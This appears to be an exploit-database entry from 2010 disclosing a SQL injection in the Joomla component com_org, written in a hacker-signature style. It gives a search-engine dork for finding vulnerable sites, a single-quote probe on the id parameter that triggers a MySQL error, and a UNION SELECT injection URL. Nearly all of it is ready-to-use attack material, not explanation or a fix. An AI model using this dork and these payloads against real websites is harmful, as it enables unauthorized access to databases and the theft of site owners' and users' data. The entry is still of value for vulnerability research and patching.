Joomla! Component com_org - SQL Injection
Author: N2n-Hacker
type: webapps
platform: php
port:
date_added: 2010-03-13
date_updated:
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
###############################################################################
## ##
## Joomla com_org SQL Injection Vulnerability ##
## ##
###############################################################################
\\\\\\\\\\\\\\\\\\\\\\\\\\\N2n-Hacker - 2nd@live.fr////////////////////////////
*******************************************************************************
=> Dork = inurl:"option=com_org"
-------------------------------------------------------------------------------
# EXp : http://www.website.com/path/index.php?option=com_org&task=info&id=22' <=[SQLI] --〈=en
Error = "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version"
# http://www.website.com/path/index.php?option=com_org&task=info&id=-22 UNION SELECT 1,2 ..... --〈=en
********************************************************************************
\\\\\\\\\\\\\\\\\\ BAD LIFE //////////////////
********************************************************************************